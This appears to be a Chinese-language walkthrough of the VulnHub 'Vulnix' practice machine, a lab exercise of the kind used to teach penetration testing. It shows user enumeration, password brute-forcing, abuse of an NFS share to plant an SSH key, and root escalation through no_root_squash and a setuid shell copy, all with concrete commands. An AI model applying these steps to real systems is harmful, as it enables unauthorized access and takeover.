简介
靶机地址:https://www.vulnhub.com/entry/hacklab-vulnix,48/
信息收集
服务验证
ssh 尝试 root 弱密码,默认凭证 ,失败。但存在用户名枚举。
# 尝试跑常见用户名字典,以及目标靶机名
bin daemon games lp mail man news nobody root sync sys user uucp www-data vulnix
# 尝试 top 100 密码爆破,得到以下用户
user:letmein
smtp 25,尝试识别版本,只能根据响应识别到是 Postfix smtp ,无更详细版本,搜索到可能 exp ·34896,但利用失败。可以尝试枚举用户,scanner/smtp/smtp_enum
但失败。这个服务还可以尝试 伪造邮件,但此靶机不需要。
finger 79 显示系统用户信息,使用 finger @192.168.200.148
可以用来枚举用户。
imap 如果有用户凭证的话可以尝试看其邮件,前面可以通过 smtp 或 ssh 的用户枚举,再加上密码爆破,可以尝试这个,暂时不考虑。
512、513、514 都无详细利用点。exec 需要有凭证才能执行命令。pop3d 暂无利用点。
rpcbind,首先可以看到其中有 nfs
nfs 未授权 + ssh
nfs 是 c/s 系统,允许客户端将网络上的文件夹挂载到本地
# 查看可用的挂载
showmount -e 192.168.200.148
# Export list for 192.168.200.148:
# /home/vulnix *
mkdir /mnt/vulnix
mount -t nfs -o vers=2 192.168.200.148:/home/vulnix /mnt/vulnix -o nolock
# 挂载成功后发现权限不够,即使是root 也不行,解决办法很简单,因其要求 id 为 2008 的用户,所以添加即可
useradd -u 2008 vulnix
passwd vulnix
su vulnix
看了下 writeup, 既然能映射读写 vulnix 文件夹,并且有 ssh 链接,那么就可以上传 vulnix 用户的密钥,从而 ssh 连接到 vulnix 用户。详细操作,见生成密钥
# 使用 ssh-keygen 生成密钥对,直接回车,默认生成在当前用户家目录下 .ssh 文件夹
-rw------- 1 root root 2590 May 11 20:05 id_rsa
-rw-r--r-- 1 root root 563 May 11 20:05 id_rsa.pub
# 其中 id_rsa.pub 为公钥,id_rsa 为私钥。
# 将公钥保存在服务器上要连接的用户的家目录的下 .ssh/authorized_keys 文件中。
# 并更改这个文件的所有者 chown 用户:组 authorized_keys
最后,以特定用户运行 ssh
利用 密钥免密码 ssh 连接。
提权
user 用户
得到凭证 user:letmein
尝试提权,但没找到配置缺陷。
vulnix 用户
/etc/exports 是 nfs 的配置文件,那么这块就有个 nfs 配置漏洞
# 将文件中此行修改
/home/vulnix *(rw,root_squash)
# 修改为
/home/vulnix *(rw,no_root_squash)
但是问题来了,要想使修改后的配置生效,必须重启此服务才可以。
service nfs-kernel-server restart
# 想重启该服务,却没有相应权限。
看了几个 writeup ,都是通过 shutdown -r 0 重启系统。
重启后,ssh 登录 vulnix 用户到靶机。然后拷贝 /bin/bash
之后在我们的主机上,使用 root 用户将 bash 权限修改。
root@kali:/mnt/vulnix# chown root:root csh
root@kali:/mnt/vulnix# chmod 4755 csh
然后在目标主机上运行,成功得到 root 权限。
此处我尝试将本机的 bash 拷贝到此目录,但之后在目标主机无法运行,其原因是 版本不兼容,这个靶机是 2012 年推出的。。
后记
# 最后取消挂载,删除本地文件夹,删除创建的用户
sudo umount /mnt/vulnix
sudo rm -r /mnt/vulnix
sudo userdel vulnix